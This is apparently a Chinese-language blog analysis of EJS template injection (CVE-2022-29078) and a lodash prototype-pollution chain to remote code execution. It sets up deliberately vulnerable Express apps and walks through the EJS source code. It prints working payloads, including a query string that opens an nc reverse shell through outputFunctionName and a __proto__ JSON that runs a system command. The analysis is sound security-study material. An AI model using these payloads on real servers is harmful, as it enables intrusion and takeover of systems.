EjsRCE分析

文章发布时间:

最后更新时间:

文章总字数:
1.2k

预计阅读时间:
5 分钟

Ejs模版引擎注入与原型链污染

Ejs概念与基本用法

概念

EJS是一个javascript模板库,用来从json数据中生成HTML字符串

  • 功能:缓存功能,能够缓存好的HTML模板;
  • <% code %>用来执行javascript代码

感觉,有点像php里面jinja2那种模板,这也许就是为什么ejs也有SSTI注入,都可以动态渲染执行代码。

基本用法

所有使用 <% %> 括起来的内容都会被编译成 Javascript,可以在模版文件中像写js一样

1
2
3
4
var ejs = require('ejs');
var result = ejs.render('<% var a = 123 %><%console.log(a); %>');
console.log(result);
//123

CVE-2022-29078:

SSTI分析

漏洞成因:settings[view options][outputFunctionName]在EJS渲染成HTML时,用浅拷贝覆盖值,最后插入OS Command导致RCE。

先搭个环境:

1
2
npm install ejs@3.1.6
npm install express

注意要在项目文件夹下面运行!!不然没办法引用。

再写个app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
const express = require('express');
const app = express();
const PORT = 3000;
app.set('views', __dirname);
app.set('view engine', 'ejs');

app.get('/', (req, res) => {
res.render('index', req.query);
});

app.listen(PORT, ()=> {
console.log(`Server is running on ${PORT}`);
});

注意看此时的req.query直接通过render渲染传进了index.ejs

index.ejs

1
2
3
4
5
6
7
8
9
10
<html>
<head>
<title>Lab CVE-2022-29078</title>
</head>

<body>
<h2>CVE-2022-29078</h2>
<%= test %>
</body>
</html>

源码分析

1
2
3
4
5
6
7
8
if (args.length) {
// Should always have data obj
data = args.shift();
// Normal passed opts (data obj + opts obj)
if (args.length) {
// Use shallowCopy so we don't pollute passed in opts obj with new vals
utils.shallowCopy(opts, args.pop());
}

data获取传递进去的参数

image-20230729214017494

从这张图可以看出我们可以通过传递的参数来设置settings

1
2
3
4
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}

继续跟进,发现将settings的view options赋给了viewOpts,说明我们要在传递参数部分控制的是view options,跟进shallowCopy

1
2
3
4
5
6
7
exports.shallowCopy = function (to, from) {
from = from || {};
for (var p in from) {
to[p] = from[p];
}
return to;
};

可以发现这是一个类似merge的函数,应该想到了和原型链污染相关,或者说我们可以通过from(可以控制的参数,其实就是viewOpts),来控制to(to就是opts)。

1
2
3
4
5
6
7
8
if (!this.source) {
this.generateSource();
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

最终来到这个函数,可以看出将opts的outputFunctionName插入到语句里然后执行了,那这样分析之后整条链子就变得明朗了起来。

我们一开始直接控制settings[view options][outputFunctionName],就可以实现RCE。

1
?test=AAAA&settings\[view%20options\]\[outputFunctionName\]=x;process.mainModule.require('child_process').execSync('nc%20127.0.0.1%208862%20-e%20sh');x"

注意转义和语句拼接,这个攻击命令就是利用nc直接反弹了shell

原型链污染分析

其实这个分析和上文差不多,依然是要控制outputFunctionName的值,源码中有merge或者类似的函数的时候可以通过原型链污染来控制值。

依旧先搭个环境

1
2
3
npm install ejs@3.1.5
npm install lodash@4.17.4
npm install express

再写个index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var express = require('express');
var _= require('lodash');
var ejs = require('ejs');

var app = express();
//设置模板的位置
app.set('views', __dirname);

//进行渲染
app.get('/', function (req, res) {
var malicious_payload = req.query.malicious_payload;
_.merge({}, JSON.parse(malicious_payload));
res.render ("./test.ejs",{
message: 'lufei test '
});
});

//设置http
var server = app.listen(8888, function () {

var port = server.address().port

console.log("应用实例,访问地址为 http://127.0.0.1:%s", port)
});

test.ejs

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>

<h1><%= message%></h1>

</body>
</html>

这里也可以看出其实并不需要像第一种一样直接控制render传入的值,这里不管传什么不传都行,因为原型链污染已经污染了Object的属性,每一个继承的对象都会自动带有这个属性。

源码暂时不在这里进行过多分析(其实和上面那个SSTI没啥区别,都是ejs渲染会拼接outputFunctionName这个变量,然后运行代码),一阵跳转引用之后,我们看到了和上面一样的拼接部分:

1
2
3
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

于是我们需要把outputFunctionName的值设置为:

_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}

搭配上原型链污染,最终传入的payload:

malicious_payload = {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}

merge({},malicious_payload),通过空对象{}(Object),污染了Object的原型。

参考链接:

ejs原型链污染rce分析_angelkat的博客-CSDN博客

Ejs模板引擎注入实现RCE - 先知社区 (aliyun.com)